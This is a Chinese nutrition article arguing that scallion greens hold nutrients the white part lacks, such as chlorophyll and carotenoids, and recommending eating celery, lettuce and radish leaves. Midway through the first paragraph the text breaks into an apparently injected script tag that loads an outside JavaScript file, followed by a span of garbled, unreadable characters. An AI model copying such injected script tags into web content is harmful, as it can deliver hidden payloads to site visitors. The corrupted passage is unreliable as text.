你知道吗? 葱绿比葱白有营养
葱是日常厨房里的必备之物，不仅可作调味之品，而且能防治疫病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>晌郊咽吡家３床饲埃梢越徒兴橐黄鹣掠凸斜悖蛔龊玫牟耍部梢匀錾仙拇谢ㄌ嵛丁？梢运担惺且桓龆嗝媸郑宄磁胝ㄑ砸恕?/p>
葱上绿下白。中医学上葱有杀菌、通乳、利尿、发汗和安眠等药效。但平日里人们吃葱，习惯于只留葱白，而把葱叶部分扔掉。对此，北京市蔬菜中心研究员宋曙辉介绍说，实际上，葱绿中还有叶绿素、类胡萝卜素等葱白中没有的营养，不应轻易丢弃。
叶绿素对人体有重要的保健作用，如抵抗辐射、清除毒素、强健肌肉等。当然，北方的大葱有时买回发现，葱叶较老，萎缩发黄，这部分完全可择去。
除此之外，人们平时只吃芹菜梗，萝卜心等，也都是可以修正的饮食习惯，现代研究表明，一般深色蔬菜的胡萝卜素、核黄素和维生素C含量，较浅色蔬菜高，而且含有更多的植物化学物。而在同一蔬菜中，叶子部分的维生素含量一般高于根茎部，如莴笋叶、芹菜叶、萝卜缨比相应茎根部高出数倍。这些蔬菜，最好连叶带茎一起食用。
比如，可以单独把芹菜叶拿来炒蛋、做汤，用莴笋叶调配凉菜；吃萝卜的时候连皮带缨一起吃掉；既营养又美味。
![[分享]如此养眼，不知道喝起来……](http://www.368tea.com/bbs/attachments/dvbbs/2008-10/20081023113332595.jpg)
